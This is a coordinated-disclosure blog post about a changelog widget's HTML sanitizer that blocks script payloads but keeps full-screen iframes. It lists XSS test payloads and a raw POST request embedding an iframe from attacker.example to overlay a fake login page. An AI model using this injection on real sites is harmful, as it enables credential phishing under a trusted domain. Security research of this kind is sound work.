June 24, 2026
The Bouncer Who Frisked Everyone and Forgot to Lock the Door
A changelog widget’s HTML sanitizer strips every XSS vector you can name — and then hands you a full-page iframe on its own trusted domain…

By anshh.bohara
6 min read
A changelog widget's HTML sanitizer strips every XSS vector you can name — and then hands you a full-page iframe on its own trusted domain. A coordinated-disclosure story.
There is a particular kind of security control I have come to love the way you love a golden retriever: earnest, thorough, tireless, and operating on a model of the world that is one crucial step behind reality.
This one is an HTML sanitizer. It is an excellent bouncer. It pats you down for onerror. It finds onload and onclick and onfocus and ontoggle and removes them with the calm efficiency of a professional. javascript: URIs? Gone. data: URIs? Gone. srcdoc, sandbox, the whole inline-handler family? Stripped, every time, no exceptions. I threw a full magazine of cross-site scripting at it and it caught every round.
Then it looked at <iframe src="https://anything-i-want">, decided that was fine, and kept it verbatim.
It frisked everyone in line for weapons and forgot to lock the front door.
The Target
I'm going to keep the vendor anonymous, and I want to be upfront about why: this bug is still open. I reported it through their published vulnerability-disclosure program, I'm awaiting response, and naming a live, unpatched issue isn't a write-up — it's a press release for attackers. So for now the vendor is "the platform," the domain is app.vendor.tld, and the real name goes into this article on exactly the same day the fix goes into production. That's not coyness. That's the job.
What I can tell you: the platform is a widely-embedded changelog / "what's new" announcement widget. Companies use it to tell their users about new features. It runs a self-hosted VDP, it took my report at a security@ inbox, and I did all of this from a free account, which is relevant in a moment when we get to the part I couldn't test.
Recon: Trusting the Client Is the First Mistake
The first thing I do on a content platform is map every place my content comes back out. This one had three render surfaces, all eating from the same trough:
- The public post page —
app.vendor.tld/product<NNN>/en/<slug>, served straight off the vendor's own origin. - The embeddable widget — the little "what's new" panel the vendor's customers drop onto their own sites.
- The admin dashboard — where the customer's team reviews the changelog internally.
One piece of content. Three places it renders. Hold that thought; it's the whole blast radius.
Then I opened the rich-text editor and watched it sanitize my input client-side. This is the security equivalent of a "Staff Must Wash Hands" sign: it tells you what they're worried about, and it tells you the real control is somewhere else entirely. Client-side sanitization is a UX nicety. It is not a security boundary, because the client is mine — I own the browser, the dev tools, and every byte that leaves my machine. If the server trusts the browser to have already cleaned the input, then the server isn't sanitizing; it's hoping.
So I stopped using the editor and started talking to the server directly. The content sink was a single create/edit endpoint — POST /createOrEditPost, a humble content field, x-www-form-urlencoded. I'd submit a payload, store it, fetch it back, and read what survived. Then I did that several dozen times, because the fastest way to understand a sanitizer is to feed it the entire zoo and see which animals it lets out the back.
The Sanitizer's One Blind Spot
Here is the thing I keep coming back to: this sanitizer is good. It is not a stub. It is not a TODO someone forgot. It does real, competent allow-listing, and it shut down everything I'd reach for to get script execution. Watch it work — and then watch the one row where it doesn't:
Payload submitted Stored result <img src=x onerror=alert(1)> <img src="x"> — handler stripped <svg onload=…> / <details ontoggle=…> / <input onfocus=…> stripped <a href="javascript:…"> href stripped <iframe srcdoc=…> / onload / sandbox / src=data: / src=javascript: stripped <iframe src="https://attacker" style="position:fixed;…100vw;100vh;z-index:max"> KEPT VERBATIM
Every dangerous attribute on the iframe is understood and removed. srcdoc, gone. sandbox, gone. onload, gone. The sanitizer clearly knows iframes are spicy and has opinions about them.
It just doesn't have an opinion about src pointing at an arbitrary https:// origin. It keeps that. It also keeps style, width, and height — which is everything I need to take a small embedded frame and inflate it into a full-viewport one. No script ever executes through this sink. I didn't need script. I needed a rectangle the size of the screen, rendered on a domain nobody distrusts, and the sanitizer was delighted to give me one.
Exploitation
Three beats.
Beat one — host the bait. I stand up a page that looks exactly like the platform's own login screen. "Sign in to continue," logo, the works. It lives on my server, but nobody's going to read my server's name, because of beat three.
Beat two — inject it past the editor. The editor sanitizes in the browser, so I don't use the editor. I hit the server endpoint directly with a full-viewport, unsandboxed iframe pointing at my page:
POST /createOrEditPost HTTP/1.1
Host: app.vendor.tld
Content-Type: application/x-www-form-urlencoded
Cookie: <REDACTED_SESSION_COOKIE>
X-CSRF-Token: <REDACTED_CSRF_TOKEN>
content=<iframe src="https://attacker.example/login"
style="position:fixed;top:0;left:0;width:100vw;height:100vh;border:0;z-index:2147483647">
</iframe>&showInPublicPage=truePOST /createOrEditPost HTTP/1.1
Host: app.vendor.tld
Content-Type: application/x-www-form-urlencoded
Cookie: <REDACTED_SESSION_COOKIE>
X-CSRF-Token: <REDACTED_CSRF_TOKEN>
content=<iframe src="https://attacker.example/login"
style="position:fixed;top:0;left:0;width:100vw;height:100vh;border:0;z-index:2147483647">
</iframe>&showInPublicPage=trueThe server stores it. It does not flinch. (Yes, the real request carried a live session cookie and CSRF token. No, you're not getting them — see the entire premise of this article.)
Beat three — share one link. I send the victim the public post URL. Their browser navigates to app.vendor.tld, shows a valid TLS padlock, displays the platform's real branding in the chrome — and renders my full-screen login page inside it, because my iframe is sitting on top of everything the platform meant to show. The victim is looking at my page while every trust signal in the browser swears they're on the vendor's.
The same stored payload doesn't just hit the public page. It rides the embedded widget onto every customer site subscribed to that feed, and it overlays the admin dashboard. One POST, three audiences.
Why "Just an Iframe" Is Real Phishing
I know the reflex, because I have the reflex: no script executes, so what's the severity? Here's the answer, and it's the part I'd underline in the report.
Phishing's entire problem has always been the URL bar. You can clone a login page pixel-for-pixel, but you can't fake app.vendor.tld with a real certificate — the address bar is the one thing users are (occasionally, on a good day) trained to check. This bug donates the address bar. The credential-harvesting page renders under the vendor's origin, with the vendor's TLS, wrapped in the vendor's branding. I'm not imitating the trusted brand; I'm being served by it.
And because the sanitizer stripped sandbox — sorry, because it would have stripped sandbox, except I never sent one and it doesn't add one — the framed page keeps its full set of capabilities: top-level navigation, fullscreen, the lot. It's not a contained little box. It's a tenant with the run of the house.
So: malware delivery and credential harvesting under a trusted SaaS domain, distributed across the public page, every embedding customer's site, and the admin view. "No XSS" turned out to be a very different sentence from "no impact."
The Footnote I Left for the Team
Here's the part that kept me up, and the part I want triagers to look at hardest.
End-user-submitted content — the Feedback, Ideas, and NPS responses that real users type in — renders back to admins through what looks like the same rendering layer. If that path shares this sanitizer's blind spot, then the attack stops needing a privileged account at all: any end user could store content that frames arbitrary pages directly into an administrator's dashboard. That's no longer brand-phishing. That's a credible road to admin account takeover.
I could not confirm it. I was on a free account, and testing that flow properly meant standing up the end-user feedback collection with a real downstream admin to render it to — infrastructure a trial doesn't give you, and territory I won't go poking blind on someone's live system. So it went into the report exactly as what it was: a flagged, untested, "you have the access to check this and you should, today" footnote. Responsible disclosure includes disclosing the thing you suspect and couldn't prove, clearly labeled as such, instead of either burying it or overselling it.
Takeaways
- Test the server, not the editor. Client-side sanitization tells you what the developers fear, not what they stop. The moment you see the input get cleaned in the browser, go find the API and feed it the raw thing — the server sink is the only control that counts.
- Map every surface your content renders on. Same stored content, three render targets here. The injection's severity isn't set by where you put it in; it's set by every place it comes out — including the admin's own screen.
- "No script executes" is not a severity argument. A full-viewport iframe on a trusted origin solves the one problem phishing has never been able to solve: a legitimate URL bar. Ask what the content does on screen, not just whether it runs JavaScript.
- An allow-list is only as safe as its most dangerous allowed element. A sanitizer that strips every inline handler and still permits
<iframe src="https://…">with layout styles isn't a strong sanitizer with a gap. It's a front door, professionally guarded, left standing open. - When the bug is still open, anonymize. You can write the whole story — technique, table, impact, the lot — without handing attackers a live target. The vendor's name is a reward for shipping the fix, not a detail you owe the internet on day one.
The sanitizer and I have made our peace. It does honest, diligent work, catches more than most, and means well — it simply spent all its attention frisking the guests and none of it on the door. I've passed the building's keys back to the people who own it and I'm waiting by the phone. The real name goes here the day the lock turns. Until then: check your iframes. They're the quiet ones.